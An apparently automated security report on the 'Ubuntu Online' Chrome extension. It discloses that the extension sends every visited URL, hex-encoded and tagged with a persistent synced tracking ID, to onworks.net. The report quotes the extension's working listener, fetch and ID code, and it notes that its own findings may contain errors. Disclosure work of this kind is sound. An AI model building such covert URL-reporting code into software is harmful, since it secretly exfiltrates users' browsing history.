Is Ubuntu free online linux server safe?
Ubuntu Online is high risk. Every tab switch or load sends the full URL to a remote server at onworks.net, automatically, no click needed. Dynamic analysis captured 23 such requests across five unrelated sites, including a planted marker recovered verbatim.…
Who publishes itApkOnline android online - 23 other listings from the same operator, 16 of them carrying a finding
ApkOnline android online - 23 other listings from the same operator, 16 of them carrying a finding
What this publisher told the store about itself, and the other listings that told it the same thing.
Same store account
4 other listings published from this account, 226k+ users between them. 2 of them carry a finding.
Same operator - 19 listings
Published under a different store account, but sharing the registered address, contact or declared legal entity this one gave the store.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Extension sends every visited URL to onworks.net on each tab change
Every tab switch or load sends the full URL to a remote server at onworks.net, automatically, no click needed.
Dynamic analysis captured 23 such requests across five unrelated sites, including a planted marker recovered verbatim.
You open any webpage or switch to a tab with an http/https URL.
The extension checks that the URL is not already an onworks.net URL and has not been reported since the last navigation.
The extension immediately sends the full URL to onworks.net in the background.
A GET request is made to c-ubuntux-2x.php with the URL hex-encoded as the url= parameter and a persistent tracking ID as u=.
The URL is converted character-by-character to two-digit ASCII hex codes before being placed in the query string. This is not encryption, any hex decoder recovers the plaintext immediately.
https://en.wikipedia.org/wiki/<page-url>
URL exfiltration listener and fetch call (w.js)
function gti(tabId) {
chrome.tabs.get(tabId, function(tab) {
if (
(tab.url.indexOf('onworks') == -1) &&
(tab.url.indexOf('http') !== -1) &&
(lastUrl != tab.url)
) {
urlx = tab.url;
reporturlscannedandrecorded = urlx;
extractf(reporturlscannedandrecorded);
lastUrl = tab.url;
}
});
}
async function extractf(urlxx) {
// ... reads/generates persistent tracking ID ...
let fgvt = await fetch(
'https://www.onworks.net/media/system/app/runos/c-ubuntux-2x.php?url=' +
b2x(urlxx) + '&hex=1&u=' + un
);
}- www.onworks.net
Receives every visited URL (hex-encoded) and the persistent tracking ID. onworks.net is the developer's own online-Linux service; the extension operator controls this endpoint.
Decodes any onworks.net request URL parameter from the hex-encoded wire format back to the original visited URL, demonstrating the decoding technique used in dynamic analysis.
#!/usr/bin/env node
// decode-onworks-url.js
// Usage: node decode-onworks-url.js <hex_string>
// Example: node decode-onworks-url.js 68747470733a2f2f676f6f676c652e636f6d
const hex = process.argv[2];
if (!hex) {
console.error('Usage: node decode-onworks-url.js <hex_string>');
process.exit(1);
}
const decoded = hex.match(/.{1,2}/g).map(b => String.fromCharCode(parseInt(b, 16))).join('');
console.log('Decoded URL:', decoded);
- 1Copy the 'url' parameter value from any captured onworks.net request.
- 2Run: node decode-onworks-url.js <hex_value>.
- 3The original visited URL is printed.
Extension assigns a persistent ID on install and links it to every URL sent
On first run the extension generates a 10-character random ID stored in Chrome's synced storage, following you across profiles and devices.
It's appended to every URL report to onworks.net, seen in 22 of 23 captured requests.
The extension starts for the first time and finds no stored ID.
extractf() reads chrome.storage.local key apkon_key and checks for opcA.usercx.
A 10-character random ID is generated and saved to synced storage, then attached to every subsequent URL report.
ranSX(10) builds the ID from a 62-character alphanumeric charset. It is stored in both chrome.storage.local (apkon_key.usercx) and chrome.storage.sync (usercx), enabling cross-device persistence.
Local storage holds the outbound ID (usercx) and opt-out flag (apkononline). Sync storage replicates the ID across Chrome sign-ins.
chrome.storage.local key 'apkon_key' + chrome.storage.sync key 'usercx'{
"usercx": "vz5rdv5set",
"apkon_key": {
"usercx": "yide6oj9j7",
"apkononline": "1"
}
}ID generation and storage (w.js:37-84)
// Top-level startup: sync storage check
if (chrome.storage.sync.get('usercx', function(obj) {})) {
usercx = chrome.storage.sync.get('usercx', function(obj) {});
} else {
usercx = '' + ranSX(10) + ''.toLowerCase();
chrome.storage.sync.set({'usercx': usercx.toLowerCase()}, function() {});
}
// Inside extractf(): local storage check + generation
let storres = await chrome.storage.local.get([apkon_key]);
if (apkon_key in storres) { opcA = storres[apkon_key]; }
if (opcA.usercx) {
usercx = opcA.usercx;
} else {
usercx = '' + ranSX(10) + ''.toLowerCase();
opcA.usercx = usercx;
}
// Sent on every request:
await fetch('https://www.onworks.net/media/system/app/runos/c-ubuntux-2x.php?url=' + b2x(urlxx) + '&hex=1&u=' + un);| Field | Value | Why it matters | |
|---|---|---|---|
Visited URL | https://en.wikipedia.org/wiki/Privacy_policy | The full URL of the page you are viewing, hex-encoded in the url= parameter. | |
Persistent tracking ID | yide6oj9j7 | A 10-character ID generated on install and appended as u=. Stored in Chrome Sync, it follows you across devices on your Google account. |
Visited URLs obscured by hex encoding that any decoder can reverse
The extension hex-encodes each character of your visited URL before sending it.
This doesn't protect the data; any hex decoder, including the server's &hex=1 flag, recovers the plaintext instantly.
A planted marker returned verbatim.
The extension prepares to send a visited URL to onworks.net.
Before placing the URL in the request, b2x() is called to convert it to hex.
Each character of the URL is replaced with its two-digit ASCII hex code.
The result is a hex string placed in the url= query parameter. The server's hex=1 flag reverses it immediately on receipt.
The on-wire form looks like a random hex string, but it is a verbatim character-by-character encoding of the original URL with no undisclosed material involved.
https://en.wikipedia.org/wiki/<page-url>
Hex encoding function (w.js:106-115)
function b2x(bin) {
var i = 0, l = bin.length, chr, hex = '';
for (i; i < l; ++i) {
chr = bin.charCodeAt(i).toString(16);
hex += chr.length < 2 ? '0' + chr : chr;
}
return hex;
}Reproduces the encoding and decoding round-trip, demonstrating that b2x() output is trivially reversible with a standard hex decoder.
#!/usr/bin/env node
// verify-hex-roundtrip.js
// Reproduces the b2x() encode/decode round-trip from the extension.
// Replicate the extension's b2x() function exactly
function b2x(bin) {
var i = 0, l = bin.length, chr, hex = '';
for (i; i < l; ++i) {
chr = bin.charCodeAt(i).toString(16);
hex += chr.length < 2 ? '0' + chr : chr;
}
return hex;
}
// Standard hex decode (inverse of b2x)
function x2b(hex) {
return hex.match(/.{1,2}/g).map(b => String.fromCharCode(parseInt(b, 16))).join('');
}
const testUrl = 'https://en.wikipedia.org/wiki/<planted-marker>';
const encoded = b2x(testUrl);
const decoded = x2b(encoded);
console.log('Original :', testUrl);
console.log('Encoded :', encoded);
console.log('Decoded :', decoded);
console.log('Match :', testUrl === decoded ? 'YES — round-trip confirmed' : 'NO — mismatch');
- 1Run: node verify-hex-roundtrip.js.
- 2Confirm 'Match: YES' is printed.
- 3Substitute any URL as testUrl to verify arbitrary round-trips.
What it can do
Permissions this extension asks for, as declared in version 1.3.5. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.
Store data in your browser
storage
See the address and title of every tab you have open
tabs